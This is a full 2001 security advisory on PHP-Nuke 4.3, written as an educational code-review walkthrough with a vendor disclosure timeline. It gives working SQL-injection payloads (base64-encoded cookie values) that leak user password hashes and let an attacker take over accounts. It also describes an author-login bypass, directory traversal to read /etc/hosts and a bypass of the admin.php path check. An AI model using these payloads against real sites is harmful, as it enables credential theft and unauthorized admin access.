-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/---- 

                    RFPlutonium to fuel your PHP-Nuke
              SQL hacking user logins in PHP-Nuke web portal

------------------------------------/ rain forest puppy / rfp@wiretrip.net

Table of contents:

-/ 1 / Standard advisory information
-/ 2 / High and clean overview
-/ 3 / Down and dirty explanation
-/ 4 / New Year BONUS: other tricks
-/ 5 / Resolution

--------------------------------------------------------------------------
Disclaimer: no one is forcing you to read this; stop if you don't want to.
--------------------------------------------------------------------------

-/ 1 / Standard advisory information /------------------------------------

Software package: 	PHP-Nuke
Vendor homepage:	www.phpnuke.org
Version tested:		4.3
Platforms:		Platform-independent (PHP)
Vendor contacted:	12/29/2000
CVE candidate:		CAN-2001-0001
Vulnerability type:	Authentication weaknesses (user and admin)
RFPolicy v2:		http://www.wiretrip.net/rfp/policy.html

Prior problems:		Admin authentication bypass, Aug 2000
			BID: 1592  CVE: CVE-2000-0745  SAC: 00.35.032

Current version:	4.4 (may still be vulnerable; not tested)



-/ 2 / High and clean overview /------------------------------------------

PHP-Nuke is a pretty groovy web portal/news system written in PHP.  I was
actually so impressed with its look, and even more so by some of its
features, that I decided to use it for two upcoming projects, and like any
other piece of code I decide to use, I gave it a quick code review (via la
open source!).  While I was happy with the code in general, it did exhibit
a few security problems involving tampering with SQL statements.

Rather than write a five-line text saying "PHP-Nuke is exploitable
...blah...blah", I feel it is much more advantageous, from an educational
standpoint, to walk through the process of how this vulnerability works.
Those of you who want to see more examples of SQL hacking can take a look
at RFP2K01, available at:

	http://www.wiretrip.net/rfp/p/doc.asp?id=42

This is also not an extremely useful hack--it allows you to impersonate
other users and retrieve their password hashes.  It also has a caveat that
could allow an attacker to easily brute force an author (admin) password.



-/ 3 / Down and dirty explanation /--------------------------------------

First off, to better aid SQL hacking, it helps to turn on SQL query
logging.  In MySQL, this is a matter of adding the '-l logfile' parameter
to (safe_)mysqld when starting it.

Next, let's take a look at the code.  Since this is written in PHP and
uses MySQL, our target function is mysql_query().  So let's grep for all
uses of mysql_query():

[rfp@cide nuke]# ls 
admin/        config.php   index.php         print.php     topics.php
admin.php     counter.php  language          scroller.js   ultramode.txt
article.php   dhtmllib.js  links.php         search.php    upgrades
auth.inc.php  faq.php      mainfile.php      sections.php  user.php
backend.php   footer.php   manual/           stats.php     voteinclude.php
banners.php   friend.php   memberslist.php   submit.php 
cache/        header.php   pollBooth.php     themes/
comments.php  images/      pollcomments.php  top.php

[rfp@cide nuke]# grep mysql_query *
admin.php:      $result = mysql_query("SELECT qid FROM queue");
.... 254 more lines of SQL queries that I don't want to print here ....

Now, lets take a look at those that contain variables, since it’s possible
user input is contained in those variables.  For example, a few select
lines from that output:

article.php:    mysql_query("update users set umode='$mode',
		uorder='$order', thold='$thold' where uid='$cookie[0]'");

banners.php:    mysql_query("delete from banner where bid=$bid");

comments.php:   $something = mysql_query("$q");

user.php:       $result = mysql_query("select email, pass from users where
		(uname='$uname')");

index.php:      mysql_query("insert into referer values (NULL, '$referer')");


The query from article.php contains four variables: $mode, $order, $thold,
and $cookie[0].  The banners.php is interesting, because it seems that the
entire query is contained within the $q variable, meaning we must look
inside the file to see what the value is.  In doing that, we get:

        $q = "select tid, pid, sid, date, name, email, url, host_name,
	subject, comment, score, reason from comments where sid=$sid 
	and pid=$pid";
        if($thold != "") {
                $q .= " and score>=$thold";
        } else {
                $q .= " and score>=0";
        }
        if ($order==1) $q .= " order by date desc";
        if ($order==2) $q .= " order by score desc";


So we see that $q used the variables $sid and $pid, and perhaps $thold, if
it's defined.

So what do we do now?  Well, let's take a look at what is actually in some
of those variables.  We’ll start with the above query listed for
article.php.  Here is the actual code, with comments removed:

	<?PHP

	if(!isset($mainfile)) { include("mainfile.php"); }
	if(!isset($sid) && !isset($tid)) { exit(); }

	if($save) {
        	cookiedecode($user);
        	mysql_query("update users set umode='$mode', uorder='$order',
		thold='$thold' where uid='$cookie[0]'");
	        getusrinfo($user);
        	$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
		"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
		"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
	        setcookie("user","$info",time()+$cookieusrtime);
	}

(Note: the code was reformatted for display in this advisory)

So we see that nothing is apparently done to $mode, $order, $thold, or
$cookie[0].  However, mainfile.php is included and something may be
happening in the cookiedecode() function, so we need to check them out.

First, let's see if mainfile.php defines the variables $mode, $order,
$thold, or $cookie:

	[rfp@cide nuke]# grep \$mode mainfile.php 
	[rfp@cide nuke]# grep \$order mainfile.php 
	[rfp@cide nuke]# grep \$thold mainfile.php 
	[rfp@cide nuke]#

Hmm, so mainfile.php doesn't do anything with those variables.  However, a
plethora of stuff is returned for $cookie (this is not shown).  This is
due to cookiedecode() (and other similar functions) contained in
mainfile.php.  So, here is the code to cookiedecode():

	function cookiedecode($user) {
        	global $cookie;
        	$user = base64_decode($user);
        	$cookie = explode(":", $user);
        	return $cookie;
	}

The call to cookiedecode() takes the string in $user, base64 decodes it,
and then splits it into parts around the ':' character, putting it into
the array $cookie[].  This makes sense, since the above SQL query is using
$cookie[0], the first element of the array.

Huh? Where does $user come from?  A grep through mainfile.php shows that
$user is only used in functions.

Wow.  That means the author does not do *anything* to $user (which is
decoded and split into $cookie[0]), $mode, $order, $thold.  For those of
you that are not familiar with PHP, PHP will define global variables with
values taken from URL parameters.  For example, a query of:

	/somefile.php?varb1=rain&value2=forest&param3=puppy

will make three global variables in the script $varb1, $value2, and
$param3 with the values of 'rain', 'forest', and 'puppy', respectively.
This means that we can plug in arbitrary values for $mode, $order, and
$thold for article.php by requesting an URL that looks something like:

	/article.php?mode=rain&order=forest&thold=puppy

But before we do that, there's one more piece we're forgetting, the snippet:

	if($save) {
		...

That means the $save variable has to be set.  A quick grep through
mainfile.php shows that $save is not referenced, meaning it needs to be
included in the URL. This gives us:

	/article.php?mode=rain&order=forest&thold=puppy&save=1

So let's try it.  Requesting this page, nothing is returned, because I
forgot about the following line:

	if(!isset($sid) && !isset($tid)) { exit(); }

Ugh, so we need to add $sid and $tid to the URL line, which is now:

	/article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0

This returns a page that has an error.  Looking at our mysql query logs,
there's an entry for:

	1 Query      update users set umode='rain', uorder='forest',
			thold='puppy' where uid=''

This proves that it's working. We can now submit values into the SQL
query.  We now need to see if we can *tamper* with the query.  We will
attempt to ‘rewrite’ the query so that it will include other SQL code.
Doing this involves some trickery: the addition of some extra single
quotes.  What we'll do is change $thold to read:

		puppy', thold='puppy

This should result in a query that looks like:

	update users set umode='rain', uorder='forest',
		thold='puppy', thold='puppy' where uid=''
                       ^^^^^^^^^^^^^^^^^^^^
                        the data we submit

Sure, it's not exactly a useful SQL statement, but we're only verifying
our exploit method.  So let's fire that into the URL and submit it:

	/article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&
		save=1&sid=0&tid=0

(Note: URL is wrapped)

This results in a mysql log of:

	5 Query      update users set umode='rain', uorder='forest',
		thold='puppy\', thold=\'puppy' where uid=''

DRAT!  It seems PHP automatically escapes the ' (it changes them into \')
when they are processed from URL parameters.  Granted, I'm using PHP 4, so
perhaps PHP 3.x doesn't, but still.  From the exploit angle, this sucks.
From the security angle, this rocks.  But I may be overlooking
something--if anyone sees something I'm missing, drop me an email;
however, please look at the code first--thoughtful assumptions and hunches
as to why/how this is happening are nice, but my inbox is already
overflowing as it is. :)

Anyway, all is not lost.  At this point, we know that global variables
being thrown into SQL statements *may* sometimes be safe (it may be PHP
version dependant).  But let's go back and look at the cookiedecode()
function.  It takes a global value ($user), base64 decodes it, splits it,
and puts it into the $cookie[] array.  Note that $user could be in a HTTP
cookie, or it could be a URL parameter--PHP doesn't make a distinction
(well, at least this code doesn't).

Since the actual value is encoded by base64 encoding, PHP doesn't do any
escaping on the value that's encoded.  Meaning whatever we put in the
$user value should be safe.  Let's see.

First, we need to get the right value.  Since cookiedecode() expects to
split a value with the ':' character and use the first value, we at least
need 'something:' as our value.  The 'something' is our text.  For now,
we'll set it to be 'www.cipherwar.com:'.  Now, we need to base64 encode
it.  A quick little commandline ditty:

	[rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f
	begin-base64 644 f
	d3d3LmNpcGhlcndhci5jb206
	====

This means we need to add the following to our URL:

	&user=d3d3LmNpcGhlcndhci5jb206

And when I run the above URL with the extra user parameter, my mysql logs
show:

	7 Query      update users set umode='rain', uorder='forest', 
			thold='puppy' where uid='www.cipherwar.com'

Rock!  Ok, now can we escape the SQL statement?

	[root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" | 
		uuencode -m f
	begin-base64 644 f
	d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==
	====

Putting that in the URL and submitting it, my mysql log now shows:

	3 Query      update users set umode='rain', uorder='forest',
			thold='puppy' where uid='www.cipherwar.com' 
			or uid='1'

!@$%! It worked!  As we can see, our values are unmolested, allowing us to
tamper with the query.  However, we're slightly limited in our
exploitation, due to a few caveats of MySQL.  For those of you who are
familiar with SQL hacking, and particularly some of the tricks I've
published in the past, MySQL does not allow multiple SQL commands to be
submitted in one query.  That means something like:

	mysql_query("select * from table1; select * from table2");

It does not run two 'selects'--it only runs the first, and drops the
second into oblivion.  However (don't lose hope), I found this tidbit on
the MySQL TODO list:

	Fix `libmysql.c' to allow two mysql_query() commands in a row without
	reading results or give a nice error message when one does this. 

But also listed on the TODO list:

	Subqueries. select id from t where grp in (select grp from g where
	u > 100) 

Both of which would greatly increase the SQL hacking aspect of MySQL. :)
In the meantime, that doesn't help us (unless the site rewrote PHP-Nuke to
use a different database engine, such as Postgres.  But this is doubtful).  
This means we have the limitation of only tampering with the query given
(i.e. we can't add a separate query).  Since PHP escapes URL parameter
variables we are also limited, unless the query contains a variable that
was parsed by the script in some form (such as with cookiedecode()).  
Hmm, that's quite a few limitations.

So let's look at the query we've been running:

                mysql_query("update users set umode='$mode', uorder='$order',
                thold='$thold' where uid='$cookie[0]'");

By specifying an arbitrary uid value, we can clobber the umode, uorder,
and thold values of any user.  Though annoying, it is hardly a critical
security problem, since umode, uorder, and thold are just the display
preferences of a user.  Let's look at the entire code snippet:

        if($save) {
                cookiedecode($user);
                mysql_query("update users set umode='$mode', uorder='$order',
                thold='$thold' where uid='$cookie[0]'");
                getusrinfo($user);
                $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
                "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
                "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
                setcookie("user","$info",time()+$cookieusrtime);   
        }


After calling cookiedecode() and running the first query, there's a call
to getusrinfo(), and then a bunch of the user's information is base64
encoded and sent to us as a cookie.  However, notice!  The $userinfo[pass]
value is included!  This means, if we're careful, we may possibly be sent
a cookie that contains a user's password.  All we need to do is get past
getusrinfo():

	function getusrinfo($user) {
        	global $userinfo;
        	$user2 = base64_decode($user);
        	$user3 = explode(":", $user2);
        	$result = mysql_query("select uid, name, uname, email, 
			femail, url, pass, storynum, umode, uorder, 
			thold, noscore, bio, ublockon, ublock, theme,
			commentmax from users where uname='$user3[1]' 
			and pass='$user3[2]'");
	        if(mysql_num_rows($result)==1) {
        	        $userinfo = mysql_fetch_array($result);
	        } else {
        	        echo "<b>A problem occured</b><br>";
	        }
        	return $userinfo;
	}


Hmm, ok, let's see.  Again, it takes the $user value, base64 decodes it
(just like cookiedecode()), then runs a query using parts 2 and 3 from the
cookie ($user3[1] and $user3[2], respectively).  However, to correctly
work, we need to know the right uname and pass of the target user,
otherwise the SQL query will return 0 rows, and will display "A problem
occured".  If we already know the username and password of a user, we
wouldn't be going through this, now would we?

So, can we tamper with the query?  We're looking to return all the user
data for the record where "uname='name' and pass='password'".  Perhaps if
we broaden the search criteria, we can do better.  Consider a query that
looks like:

	... where uname='name' and pass='password' or uname='name'

Logically, the query is grouped like so:

	... where (uname='name' and pass='password') or (uname='name')

So now, if we know a user's username (which we should), but not their
password, the first clause will fail; however, the second will succeed!  
Or at least, that's the plan....

So let's test that hypothesis.  Now we need to make our $user variable
contain something like:

	uid:username:blah' or uname='username

On my system I want to target the user 'test1'.  So I'm going to try the
values:

	1:test1:blah' or uname='test1

Now, let's encode that:

	[root@cide nuke]# echo -n "1:test1:blah' or uname='test1" | 
		uuencode -m f
	begin-base64 644 f
	MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=
	====

Put that in our query above, and try it out.  Lo and behold, I'm sent a
Cookie that looks like:

	Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;
	expires=Friday, 29-Dec-00 20:14:00 GMT

Now, the user value is base64 encoded.  I have my own way to base64 decode
stuff, but to be compatible with what I've been writing (i.e. using the
command line), the best way is to create a file (let's call it 'encode')
with the following contents:

	begin-base64 666 user
	MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=
	===

Note: replace all %3D with '=', and don't include the ending ';'

Now, run the following command:

	[root@cide nuke]# uudecode encode; cat user
	uudecode: encode: illegal line
	1:test1:lfkSv9NQ1eklg:10:rain:0:0:0

And there we go--that's the uid, username, password, etc of the target
user (test1).  Now, before you think that I use *really* strong passwords,
you should know that PHP-Nuke uses password hashing.  That means you'll
have to crack the password hash to get the actual password.

But does that matter?  I'm going to hop over to user.php.  User.php is the
script that manages user information, including login, new user
registrations, user information changes, etc.  Particularly, what does it
take to change a user's information?  Well, let's see:

	function edituser() {
	        global $user, $userinfo;
        	include("header.php");
	        getusrinfo($user);
	        nav();
        ?>
        <table cellpadding=8 border=0><tr><td>
        <form action="user.php" method="post">
        <b><?php echo translate("Real Name"); ?></b> <?php echo
	translate("(optional)"); ?><br>
        <input class=textbox type="text" name="name" value="<?PHP
	echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>
	...

Hmmm, so it includes header.php (which just inserts the correct heading
HTML for the user's preferred theme).  Then it calls getusrinfo().  Well,
we just went through how we can abuse getusrinfo() to set $userinfo to any
value.  After edituser() calls getuserinfo(), it then calls nav(),
followed by starting to print out all the user's information.  So, it
seems, if we have the valid user cookie, we can successfully become that
user--we don't even need to crack the password.

But the edituser() function is called when we want to view information. If
we want to modify a user's information, we'd have to get past the
saveuser() function, which starts off with:

	function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,
		$vpass, $bio) {
    		global $user, $cookie, $userinfo, $EditedMessage, 
			$system, $minpass;
    		cookiedecode($user);
    		// Vulnerability fix thanks to DrBrain
    		$user_check=$cookie[1];
    		$result=mysql_query("select uid from users where
			uname='$user_check'");
    		$vuid=mysql_result($result,0,"uid");
    		if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {
			...

Of course, what's interesting about this is that it was already 'fixed'
for a security vulnerability.  Let's take a look at what the code is
doing...

cookiedecode() decodes the $user value into the $cookie array.  We supply
the $uid, $user, and $uname values.  So the pseudo-code for this looks
like:

	- Decode $user into $cookie array

	- Look up the uid of the user given in $cookie (from $user, which 
		we supply)

	- If the username in $cookie (which we give) matches the username
		in $uname (which we give), and the $uid (which we give)
		matches the uid of the username given in $cookie (which we
		give), then proceed

It seems the actual crux of this code makes sure our supplied cookie
matches the username we're giving as a parameter, and that we know the
correct userid (uid) to go along with our target username.  If we go back
up to the edituser() above, you'll find out that the uid of the username
queried is returned as a hidden field (I didn't include that snippet of
code).  So we can do a query to edituser() to get the uid, and then to
saveuser() with the approriate cookie, uname, and uid values.

But of course, what good does that do?  Sure, we can take over user
accounts.  But the gem would be something with administrative access,
which in PHP-Nuke's case, are considered 'authors'.

So what do we know about author accounts?  Taking a peek in nuke.sql,
which is the initial SQL script for PHP-Nuke, we see that author and user
information are kept in separate tables--that means we need to find a SQL
query that is querying the author table specifically.  So, let's see:

	[root@cide nuke]# grep mysql_query *|grep author

	admin.php:      $result = mysql_query("select radminarticle,
	radmintopic,radminleft,radminright,radminuser,radminmain,
	radminsurvey,radminsection,radminlink,radminephem,radminfilem,
	radminhead,radminsuper from authors where aid='$aid'");

	auth.inc.php:   $result=mysql_query("select pwd from authors where
	aid='$aid'");

	auth.inc.php:  $result=mysql_query("select pwd from authors where
	aid='$aid'");

	mainfile.php:   $holder = mysql_query("SELECT url, email FROM authors
	where aid='$aid'");

	mainfile.php:   mysql_query("insert into stories values (NULL,
	'$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',
	'$author', '$notes')");

	search.php:  $thing = mysql_query("select aid from authors order by 
	aid");

	stats.php:$result = mysql_query("select * from authors");

	top.php:$result = mysql_query("select aid, counter from authors order 
	by counter DESC limit 0,$top");

Hmm, so only 8 hits.  The second query in mainfile.php doesn't actually
query the “author” table, and the stats.php doesn't include any variables,
so those can be scratched.  Top.php is severely limited--if MySQL allowed
extra queries to be appended (like I've discussed in the past and above),
then it would have possibility; but in our case, it doesn't, so we don't
need to spend time on it.  Mainfile.php doesn't retrieve any interesting
information from the “author” table, so we can't really abuse it.  So that
leaves us with admin.php and auth.inc.php.

Admin.php is the page where administrators log in and perform
administrative functions.  The first thing admin.php does is call
auth.inc.php, so that means, essentially, we need to fool auth.inc.php to
do anything we want.  Now, there are two pieces to auth.inc.php...the
initial login, and the standard author password check:

initial login:

	if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {
	  if($aid!="" AND $pwd!="") {
            $result=mysql_query("select pwd from authors where aid='$aid'");
            list($pass)=mysql_fetch_row($result);
            if($pass == $pwd) {
              $admin = base64_encode("$aid:$pwd");
              setcookie("admin","$admin",time()+2592000);
            }
    	  }
	}


standard author password check:

	if(isset($admin)) {
  	  $admin = base64_decode($admin);
  	  $admin = explode(":", $admin);
  	  $aid = "$admin[0]";
  	  $pwd = "$admin[1]";
  	  if ($aid=="" || $pwd=="") {
    	    $admintest=0;
    	    echo .... bunch of HTML ....;
    	    exit;
  	  }
  	  $result=mysql_query("select pwd from authors where aid='$aid'");
  	  if(!$result) {
  	    echo "Selection from database failed!";
   	    exit;
  	  } else {
    	    list($pass)=mysql_fetch_row($result);
    	    if($pass == $pwd && $pass != "") {
     		$admintest = 1;
    	    }
  	  }
	}


Now, what's interesting about the initial login snippet is that, like
article.php, if we can trick it into thinking we're the user, it will
return to us a cookie with the username and password.  However, to get
author status, we need to trick the standard author password check snippet
into setting $admintest=1.

Looking at the initial login snippet, we see that we need to tamper with
the $aid parameter; but, as discussed earlier, PHP doesn't allow us to
include SQL escaping tricks, so it's a relative dead end.

Now the other snippet pulls those values from the $admin 'cookie' value,
which we know we can tamper with (as seen earlier).  So we're really left
dealing with the following query:

	$result=mysql_query("select pwd from authors where aid='$aid'");

And we must meet this requirement:

	if($pass == $pwd && $pass != "") {

Hmm, that's tough.  We must somehow manipulate the query to return a known
value, that cannot be blank.  Given the query, it will only return values
in the 'pwd' column.  Heck, if we knew those values already, we wouldn't
need to be doing this.  So I sat stumped, trying to figure out what to do.
Then something occurred to me.  We need to know the value the query is
going to return.  That value needs to be the password of an existing
author.  So, what if we did a search for the password?  Imagine this
query:

	select pwd from authors where aid='arbitrary' or pwd='password'

This would perform a query and select records where aid had a value of
'arbitrary' or password had a value of 'password'.  Hmmm.  So what good is
that?

What's advantageous about this is that it will match if *any* author has
the 'password' (or whatever we specify) as their password.  We can
manipulate it by supplying an aid value of:

	' or pwd='common_password

So then if any author has a password that matches what we sent
(common_password in this case), the $pwd variable is sent to
'common_password'.  If we also set pass=commmon_password, then
$pass==$pwd, and we're authenticated as an author.  Actually, we're
authenticated as the author that has the password we supplied.  PHP-Nuke
does allow different 'rights' to be set for each author, and we many not
have rights to do anything, but still, we have author status.  That's all
this exercise was meant for.

Before you become really disappointed, you should take a look at some of
the options available to authors.  Surprisingly, no rights are required to
do such things as run 'env' (which essentially gives you php_info()),
'show' (view arbitrary files viewable by the webserver's uid), 'chdr' (get
nicely formatted directory listings), 'edit' (write contents into files
writable by the webserver's uid), etc.

As far as SQL hacking goes, that's it for PHP-Nuke.  Hope you enjoyed the
long example!



-/ 4 / New Year BONUS: other tricks /------------------------------------

PHP-Nuke includes a few other things that I felt would be nifty to point
out, in regards to this being an educational walk-through in reviewing PHP
code.

When I sit down to review some code, the first things I look at are
system-interaction functions--particularly filesystem interaction and
command execution.  In PHP, some of the target functions include:

	exec()		- run external commands
	passthru()	- run external commands
	system()	- run external commands

	fopen()		- open a file (or URL)
	readfile()	- output a file (or URL)
	include()	- include a file (or URL)
	include_once()	- (same as include)

The first three deal with executing programs.  The other four deal with
reading files.  Note that require()/require_once() are expanded on
initialization, meaning there is no room to tamper with them during
execution and therefore they are not reviewed.

So, how do I start evaluating the use of these functions?  The easiest
place to start is grep:

	[root@cide nuke]# grep exec *
	stats.php:$time = (exec("date"));
	stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n";
	stats.php:exec ("df", $x);

Hmm, three hits.  However, none of them contain any variables (the $x in
the 'df' one is for output), so we can't tamper with any of them.  Moving
on...passthru() doesn't yeild any hits.  System() yeilds some hits, but
they are mostly text and variable names--no actual use of the system()
function.

So let's move on to the file functions.  What's unique to PHP is that you
can actually supply an URL to a file function, and PHP will remotely fetch
it and use it.  So this gives us the added bonus of possibly being able to
pull in code from external systems--a fun feature indeed!

So let's see:

	[root@cide nuke]# grep fopen *
	admin.php:      $fp=fopen($basedir.$file,"w");
	admin.php:      $fp=fopen($basedir.$file,"r");
	admin.php:      $fp=fopen($basedir.$filelocation,"w");
	mainfile.php:    $file = fopen("$ultra", "w");
	mainfile.php:   $fpread = fopen($headlinesurl, 'r');
	mainfile.php:       $fpwrite = fopen($cache_file, 'w');

Hmm, well the admin.phps are promising, pending on where $basedir and
$file/$filelocation are defined.  Same with mainfile.php and
$headlines/$cache_file.  So looking at admin.php we see that $basedir is
defined at:

	$basedir = dirname($SCRIPT_FILENAME);

This is essentially the directory where the script is.  Looking around,
you can see that $file is not defined anywhere, meaning we can specify it
in the URL parameters!  Looking at the 'show' and 'edit' operations in
admin.php, our hunch is right--'show' will open the file specified by
$basedir.$file, just like edit.  We can't really control $basedir, but we
can control $file.  So if we use '..' (otherwise known as "reverse
directory traversal", and **NOT TRANSVERSAL**!...'traverse' means to move
or travel along...'transverse' means to be crosswise or at an angle with.
Sorry, pet peeve.)  That means calling the 'edit' operation in admin.php
with a file parameter set to something like '../../../../etc/hosts' allows
us to view the contents of the system's hosts file.  The other fopen's can
be abused in the same manner.

So let’s move on to mainfile.php.  Looking at $headlinesurl:

	$result = mysql_query("select sitename, url, headlinesurl from
		headlines where status=1");
	while (list($sitename, $url, $headlinesurl) =
		mysql_fetch_row($result)) {

It’s a static query into the headlines table.  Unless we can insert values
into the headlines database, it's not much good to us. $cache_file is
defined as:

	$cache_file = "cache/$sitename.cache";

using the $sitename from the same query as $headlinesurl.

Moving on to include_once() and readfile(), returns zero hits.  But
include() is used a lot...in fact, it’s used 355 times.  But that's
because it's used to include other files, particularly the header and
footer of the theme, etc.  Considering we're only interested in
include()'s that contain variables, we can filter out the cruft and keep
the interesting ones:

	footer.php:   include("themes/$cookie[9]/footer.php");
	footer.php:   include("themes/$Default_Theme/footer.php");
	header.php:   include("themes/$cookie[9]/theme.php");
	header.php:   include("themes/$cookie[9]/header.php");
	header.php:   include("themes/$Default_Theme/theme.php");
	header.php:   include("themes/$Default_Theme/header.php");
	mainfile.php: include("language/lang-$language.php");
	mainfile.php: include($cache_file);

header.php and footer.php use the include()'s to include the appropriate
file for the user's preferred theme (or uses the $Default_Theme if not
specified). $language and $cache_file are also defined in mainfile.php, so
mainfile.php is a dead end.  Let's look at header.php. The relevant code
looks like:

	if (!isset($index)) {
        	include("config.php");
        	global $artpage, $topic;
    	} else {
        	global $site_font, $sitename, $artpage, $topic, $banners,
		$Default_Theme, $uimages;
    	}

	....

        if(isset($user)) {
                $user2 = base64_decode($user);
                $cookie = explode(":", $user2);
                if($cookie[9]=="") $cookie[9]=$Default_Theme;
                if(isset($theme)) $cookie[9]=$theme;
                include("themes/$cookie[9]/theme.php");
                include("themes/$cookie[9]/header.php");
        } else {
                include("themes/$Default_Theme/theme.php");
                include("themes/$Default_Theme/header.php");
        }


So here we see the include is using $cookie[9] if $user is set, or
$Default_Theme if not.  $Default_Theme is defined in config.php, which is
included above if $index is not defined.

Did you get that?  Perhaps you should read it again..."$Default_Theme is
defined in config.php, which is included above if $index is not defined."  
Huh. So if we define $index (by including index=1 in our URL), config.php
is NOT included, and therefore we can specify an arbitrary $Default_Theme
value in the URL as well.  Let's test this.

I'm going to request the following URL:

	/header.php?index=1&Default_Theme=rain.forest.puppy

I'm greeted with the following PHP errors:

	Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for 
	inclusion (include_path='') in /home/httpd/html/nuke/header.php on
	line 97

	Warning: Failed opening 'themes/rain.forest.puppy/header.php' for
	inclusion (include_path='') in /home/httpd/html/nuke/header.php on 
	line 98

Wow, it worked.  So, can we submit values for Default_Theme that would
allow us to include arbitrary files?  Unfortunately the 'themes/' is
prefixed, so we can't use PHP's cool remote-URL-fetch-file-include
feature.

We can definately use '..' notation to go into parent directories.
However, the problem is that '/theme.php' is always appended to whatever
we submit.  We can't view '../../../../etc/hosts' because the final
include() is called with the value:

	themes/../../../../etc/hosts/theme.php

So we need to somehow ditch the extra '/theme.php' that's being appended.
Those of you who read my Phrack 55 article ("Perl CGI Problems") may
recall the 'Poison Null Byte' scenario I talked about.  For those of you
who haven't read it, a copy is available at:

	http://www.wiretrip.net/rfp/p/doc.asp?id=6

The Poison Null Byte scenario involves submitting a NULL character in an
attempt to get the application to ignore the extra appended crap.  The
theory goes something like this:

- I submit:
	
	 ../../../../etc/hosts<NULL>

(<NULL> is the NULL character, and not the 6-character string <NULL>)

- The application puts it all together into:

	themes/../../../../etc/hosts<NULL>/theme.php

- The application gives it to the sytem to include()

- The system reads up the NULL byte, and stops there, since system
	functions are built to stop processing a string once a NULL byte
	is reached

- Since the system stops at the NULL byte, they are effectively opening
	themes/../../../../etc/hosts

So I tried it.  And it doesn't work.  In fact, I tried all 255 values
(every possible character)--nadda.  PHP is smart and doesn't fall for that
trick.  So this attack won't work, unless someone knows some way to fool
PHP like you can fool the other scripting languages.  But I thought it had
some educational value and was worth mentioning.

There is one last thing I’d like to point out.  The admin.php script
include()'s a bunch of supporting scripts found in the /admin/ directory.  
Each of these scripts includes a 'safety check' that looks like:

	if (!eregi("admin.php", $PHP_SELF)) { die ("Access Denied"); }

This essentially scans the URL to see if admin.php is the file being used
(i.e. we're calling admin.php, and admin.php is then include()'ing the
file, versus us calling it directly).  However, the regex performed by
eregi doesn't work--all it cares about is that admin.php is included
*somewhere* in the URL.  Imagine the following request:

	/admin/authors.php/admin.php

This will actually call the /admin/authors.php (which contains the above
safety check).  The extra '/admin.php' is superfluous and not used.  But
the regex performed by eregi() will still see the extra '/admin.php' part,
and therefore it will check out OK.  So the check was subverted.  
However, there is nothing usable (that I saw) in any of the /admin/ files,
and the SQL queries won't work since the SQL connection info is defined in
config.php, which is included via admin.php (and not in any of the
individual /admin/ files).  But it was still interesting to point out why
this method of checking doesn't necessarily work.



-/ 5 / Resolution /------------------------------------------------------

Well, as indicated at the start of this document, I contacted the author
on Dec 29, 2000.  Unfortunately, I believe the author misunderstands my
intentions.  The authors view, in regards to security, can be viewed at
the following two locations:

http://www.phpnuke.org/article.php?sid=1022&mode=thread&order=0&thold=0
http://www.securityfocus.com/archive/1/162261 

Of course, his point is valid: people point out flaws, and don't help fix
them.  I offered my assistance in patching, but he was rather nonplussed
in communication with me.

Which is awkward, because I want to use PHP-Nuke.  To date, I've spent
some 30-odd total hours of my freetime patching the code.  However, at the
same time, PHP-Nuke 4.4 was about to be released.  What I *didn't* want to
do was create a code fork by releasing security patches for 4.3 in
parallel with 4.4.  So the delay in this advisory release was to wait for
4.4, and give the author a chance to fix the problems he was notified
about.

So the final resolution?  PHP-Nuke 4.4 was released on Feb 8, 2001.  The
author knew about the problem for 40+ days.  The fixes may or may not be
in version 4.4.  If they are, kudos for PHP-Nuke.  If not, well, you be
the judge.



-/ acks /----------------------------------------------------------------

            Special thanks to Zope Kitten for fixin' muh spelin'

-----/ RFP2101 /-----------/ rfp.labs / wiretrip / rfp@wiretrip.net /----